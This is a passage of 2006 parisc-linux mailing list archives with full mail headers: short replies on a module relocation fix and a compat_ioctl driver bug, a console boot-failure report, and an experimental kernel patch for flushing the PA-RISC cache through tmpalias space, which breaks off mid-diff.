  by mx0.gmx.net (mx050) with SMTP; 26 Jun 2006 04:10:21 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDFD07D781;
	Sun, 25 Jun 2006 20:10:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19178-08; Sun, 25 Jun 2006 20:10:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F64D7D774;
	Sun, 25 Jun 2006 20:10:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BA4247D76E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 20:10:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19178-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 20:10:08 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id AD70A7D769
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jun 2006 20:10:08 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 14FF55840B7;
	Sun, 25 Jun 2006 22:10:03 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 80B8C5840B6;
	Sun, 25 Jun 2006 22:10:02 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id EDC7723E83;
	Sun, 25 Jun 2006 22:10:01 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22309-02; Sun, 25 Jun 2006 22:10:01 -0400 (EDT)
Original-Received: from tachyon.int.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "tachyon.int.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id B059B23E82;
	Sun, 25 Jun 2006 22:10:01 -0400 (EDT)
Original-Received: by tachyon.int.mcmartin.ca (Postfix, from userid 1000)
	id A30C4D6C15; Sun, 25 Jun 2006 22:10:22 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200606251902.11694.kmh@sonic.net>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OnCocz9/bGI0oKaDYmRn9ApncmZ1Zlxa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23775

On Sun, Jun 25, 2006 at 07:02:04PM -0700, Kai Holthaus wrote:
> This has all been very helpful. If it is indeed a problem in the hppa-linux 
> kernel, I'll keep a watchful eye out for fixes. If there's anything a kernel 
> layman like me can do, please let me know.
> 

Ironic that you mentioned this today. The fix to module.c James
committed yesterday should fix this for you. Please try 2.6.17-pa6 and
see if that helps.

Cheers,
	Kyle M.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Module Relocation Problem
Date: Mon, 26 Jun 2006 08:10:56 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20060626121056.GA16242@athena.road.mcmartin.ca>
References: <J0FGHF$3C34E7AFFFACE857F314B50EFB7BB29D@scarlet.be>
	<200606251902.11694.kmh@sonic.net>
	<20060626021022.GA19541@tachyon.int.mcmartin.ca>
	<200606252124.58264.kmh@sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624117 20019 80.91.229.3 (22 Nov 2014 02:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:57 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Kai Holthaus <kmh@sonic.net>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2006 12:12:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx035) with SMTP; 26 Jun 2006 14:12:23 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C72EA7D79C;
	Mon, 26 Jun 2006 06:12:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23619-02; Mon, 26 Jun 2006 06:12:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E35847D79F;
	Mon, 26 Jun 2006 06:12:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB58D7D79B
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jun 2006 06:12:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22936-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jun 2006 06:12:04 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id BD5C97D79A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jun 2006 06:12:04 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 148DF5840BB;
	Mon, 26 Jun 2006 08:11:59 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 855365840B0;
	Mon, 26 Jun 2006 08:11:58 -0400 (EDT)
Original-Received: from localhost (fattire.cabal.ca [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 17C9623E83;
	Mon, 26 Jun 2006 08:11:58 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27126-04; Mon, 26 Jun 2006 08:11:57 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 9A7ED23E82;
	Mon, 26 Jun 2006 08:11:57 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 8E2353B05A; Mon, 26 Jun 2006 08:10:56 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <200606252124.58264.kmh@sonic.net>
User-Agent: Mutt/1.5.11+cvs20060403
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GPitddgAIyd18PqQe2drarRaa2FkZpVo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23776

On Sun, Jun 25, 2006 at 09:24:57PM -0700, Kai Holthaus wrote:
> Jun 25 21:20:02 obelix kernel: ioctl32(qcset:2965): Unknown cmd fd(3) 
> cmd(403c7601){00} arg(c05cd808) on /dev/video0
> 

On a first look, it sounds like the driver is not properly handling
compat_ioctl (32bit ioctls on a 64bit kernel).

I can try to take a look sometime this week, unless someone else
beats me to it.

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What happen to the Penguin
Date: Mon, 26 Jun 2006 19:59:31 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200606262359.k5QNxVrN007724@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624117 20025 80.91.229.3 (22 Nov 2014 02:41:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2006 23:59:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 27 Jun 2006 01:59:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD0B57D715;
	Mon, 26 Jun 2006 17:59:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29566-03; Mon, 26 Jun 2006 17:59:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 42CDF7D71A;
	Mon, 26 Jun 2006 17:59:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D96F17D714
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jun 2006 17:59:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29513-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jun 2006 17:59:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BD59E7D713
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jun 2006 17:59:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k5QNxW2w007726
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jun 2006 19:59:32 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k5QNxVrN007724
	for parisc-linux@lists.parisc-linux.org;
	Mon, 26 Jun 2006 19:59:31 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 10yWDRBBQEVs4OjDZnVp3ZxKNzg2NcKx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23777

I haven't been able to boot recent consoles of my c3k (oh, I did
accidently boot a 64-bit kernel built for an A500 without frame
buffer support).  The last build that successfully boots is
2.6.17-rc3-pa3.  The last messages that is see are:

...
STI PCI graphic ROM found at f6000000 (64 kB), fb at f8000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1280
STI PCI graphic ROM found at f7000000 (2048 kB), fb at fa000000 (32 MB)
    id 35acda30-9a02587, conforms to spec rev. 8.0d
    graphics card name: A1262A
sticon: Initializing STI text console.

Possibly, the problem is the unsupported A1262A.  This is what
follows with 2.6.17-rc3-pa3:

Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, PCI_GRAFFITIX1280, id: 2d08c0a7, mm
io: 0xf8100000
stifb: 'A1262A' (id: 0x35acda30) not supported.
...

Any ideas as to what's broken in later kernels?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] flush our cache through tmpalias space
Date: Wed, 21 Jun 2006 16:25:22 -0500
Lines: 453
Approved: news@gmane.org
Message-ID: <1150925123.8456.56.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624118 20029 80.91.229.3 (22 Nov 2014 02:41:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:58 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jun 2006 21:25:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 21 Jun 2006 23:25:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 482787D6A0;
	Wed, 21 Jun 2006 15:25:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06674-06; Wed, 21 Jun 2006 15:25:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B66F77D67F;
	Wed, 21 Jun 2006 15:25:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE4867D674
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Jun 2006 15:25:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06674-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Jun 2006 15:25:26 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 2DE7A7D665
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Jun 2006 15:25:26 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id k5LLPNa07822
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 21 Jun 2006 17:25:24 -0400
X-Mailer: Evolution 2.2.3 (2.2.3-4.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: YoyrfCMoPjlt6urBOTU2pEYzMTE2NYlP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23778

One of the current disadvantages parisc has is that we have to walk the
inode mapping list to do a flush_dcache_page(), which means we get
entangled in locking.  The reason we do this is because a VIPT cache
can't be flushed without a mapping, so we have to find one to use

The intent of this patch is to instead flush through the tmpalias space
on the correct congruence boundary which would dispense with the need
for finding a mapping at all.  However, in the current incarnation we
still walk the mappings to check that all the usermappings are, indeed,
on the correct congruence boundary.  Unfortunately, as you'll see if you
try it out, not all are ... which is a bit of a problem.

James

? arch/parisc/kernel/test.c
? arch/parisc/kernel/test.o.nonvolatile
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.28
diff -u -r1.28 cache.c
--- arch/parisc/kernel/cache.c	17 Dec 2005 17:21:16 -0000	1.28
+++ arch/parisc/kernel/cache.c	1 Jan 2006 17:26:25 -0000
@@ -267,9 +267,8 @@
 	struct address_space *mapping = page_mapping(page);
 	struct vm_area_struct *mpnt;
 	struct prio_tree_iter iter;
-	unsigned long offset;
-	unsigned long addr;
 	pgoff_t pgoff;
+	unsigned long addr = 0;
 	unsigned long pfn = page_to_pfn(page);
 
 
@@ -285,33 +284,27 @@
 
 	pgoff = page->index << (PAGE_CACHE_SHIFT - PAGE_SHIFT);
 
-	/* We have carefully arranged in arch_get_unmapped_area() that
-	 * *any* mappings of a file are always congruently mapped (whether
-	 * declared as MAP_PRIVATE or MAP_SHARED), so we only need
-	 * to flush one address here for them all to become coherent */
-
 	flush_dcache_mmap_lock(mapping);
 	vma_prio_tree_foreach(mpnt, &iter, &mapping->i_mmap, pgoff, pgoff) {
-		offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
-		addr = mpnt->vm_start + offset;
+		unsigned long offset = (pgoff - mpnt->vm_pgoff) << PAGE_SHIFT;
+		if (!addr)
+			addr = mpnt->vm_start + offset;
+		if ((addr &  0x3fffff) != ((mpnt->vm_start + offset)
+					   & 0x3fffff)) {
+			printk(KERN_ERR "flush_dcache_page address aliasing mismatch: 0x%lx; 0x%lx\n", addr, mpnt->vm_start + offset);
+			flush_dcache_tmpalias_page(mpnt->vm_start + offset,
+						   pfn << PAGE_SHIFT);
+			flush_icache_tmpalias_page(mpnt->vm_start + offset,
+						   pfn << PAGE_SHIFT);
+		    }
 
-		/* Flush instructions produce non access tlb misses.
-		 * On PA, we nullify these instructions rather than
-		 * taking a page fault if the pte doesn't exist.
-		 * This is just for speed.  If the page translation
-		 * isn't there, there's no point exciting the
-		 * nadtlb handler into a nullification frenzy.
-		 *
-		 * Make sure we really have this page: the private
-		 * mappings may cover this area but have COW'd this
-		 * particular page.
-		 */
-  		if (translation_exists(mpnt, addr, pfn)) {
-			__flush_cache_page(mpnt, addr);
-			break;
-		}
 	}
 	flush_dcache_mmap_unlock(mapping);
+	/* All VM areas in user space start on our cache congruence
+	 * boundary, so we don't need to know where any of them start,
+	 * we simply flush the offset */
+	flush_dcache_tmpalias_page(addr, pfn << PAGE_SHIFT);
+	flush_icache_tmpalias_page(addr, pfn << PAGE_SHIFT);
 }
 EXPORT_SYMBOL(flush_dcache_page);
 
@@ -360,3 +353,43 @@
 
 	printk("Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
 }
+
+/* These two are in pacache.S */
+extern void flush_alias_page(unsigned long paddr, unsigned long vaddr);
+extern void flush_alias_i_page(unsigned long paddr, unsigned long vaddr);
+
+extern void flush_dcache_tmpalias_page(unsigned long vaddr,
+				       unsigned long paddr)
+{
+	flush_alias_page(paddr, vaddr);
+}
+EXPORT_SYMBOL(flush_dcache_tmpalias_page);
+
+extern void flush_dcache_tmpalias_page_as_page(unsigned long vaddr,
+					       struct page *page)
+{
+	flush_alias_page(page_to_pfn(page)<<PAGE_SHIFT, vaddr);
+}
+EXPORT_SYMBOL(flush_dcache_tmpalias_page_as_page);
+
+extern void flush_icache_tmpalias_page(unsigned long vaddr,
+				       unsigned long paddr)
+{
+	flush_alias_i_page(paddr, vaddr);
+}
+EXPORT_SYMBOL(flush_icache_tmpalias_page);
+
+extern void flush_icache_tmpalias_page_as_page(unsigned long vaddr,
+					       struct page *page)
+{
+	flush_alias_i_page(page_to_pfn(page)<<PAGE_SHIFT, vaddr);
+}
+EXPORT_SYMBOL(flush_icache_tmpalias_page_as_page);
+
+void flush_icache_page(struct vm_area_struct *vma, struct page *page,
+		       unsigned long vaddr)
+{
+	flush_alias_i_page(page_to_pfn(page)<<PAGE_SHIFT, vaddr);
+}
+EXPORT_SYMBOL(flush_icache_page);
+
Index: arch/parisc/kernel/entry.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/entry.S,v
retrieving revision 1.33
diff -u -r1.33 entry.S
--- arch/parisc/kernel/entry.S	19 Oct 2005 19:36:52 -0000	1.33
+++ arch/parisc/kernel/entry.S	1 Jan 2006 17:26:27 -0000
@@ -619,21 +619,21 @@
 	DEPI		0,31,23,\tmp1
 	cmpb,COND(<>),n	\tmp,\tmp1,\fault
 	ldi		(_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),\prot
-	depd,z		\prot,8,7,\prot
 	/*
 	 * OK, it is in the temp alias region, check whether "from" or "to".
 	 * Check "subtle" note in pacache.S re: r23/r26.
 	 */
 #ifdef CONFIG_64BIT
+	depd,z		\prot,8,7,\prot
 	extrd,u,*=	\va,41,1,%r0
 #else
+	depw,z		\prot,8,7,\prot
 	extrw,u,=	\va,9,1,%r0
 #endif
 	or,COND(tr)	%r23,%r0,\pte
 	or		%r26,%r0,\pte
 	.endm 
 
-
 	/*
 	 * Align fault_vector_20 on 4K boundary so that both
 	 * fault_vector_11 and fault_vector_20 are on the
@@ -1268,7 +1268,7 @@
 	nop
 
 nadtlb_check_flush_20w:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
+	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_check_alias_20w
 
 	/* Insert a "flush only" translation */
 
@@ -1284,6 +1284,13 @@
 	rfir
 	nop
 
+nadtlb_check_alias_20w:	
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
+
+	idtlbt          pte,prot
+
+	rfir
+	nop
 #else
 
 dtlb_miss_11:
@@ -1310,27 +1317,15 @@
 
 dtlb_check_alias_11:
 
-	/* Check to see if fault is in the temporary alias region */
-
-	cmpib,<>,n      0,spc,dtlb_fault /* forward */
-	ldil            L%(TMPALIAS_MAP_START),t0
-	copy            va,t1
-	depwi           0,31,23,t1
-	cmpb,<>,n       t0,t1,dtlb_fault /* forward */
-	ldi             (_PAGE_DIRTY|_PAGE_WRITE|_PAGE_READ),prot
-	depw,z          prot,8,7,prot
+	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault
 
-	/*
-	 * OK, it is in the temp alias region, check whether "from" or "to".
-	 * Check "subtle" note in pacache.S re: r23/r26.
-	 */
+	mfsp		%sr1,t0
+	mtsp		spc,%sr1
 
-	extrw,u,=       va,9,1,r0
-	or,tr           %r23,%r0,pte    /* If "from" use "from" page */
-	or              %r26,%r0,pte    /* else "to", use "to" page  */
+	idtlba          pte,(%sr1,va)
+	idtlbp          prot,(%sr1,va)
 
-	idtlba          pte,(va)
-	idtlbp          prot,(va)
+	mstp		t0,%sr1		/* Restore sr1 */
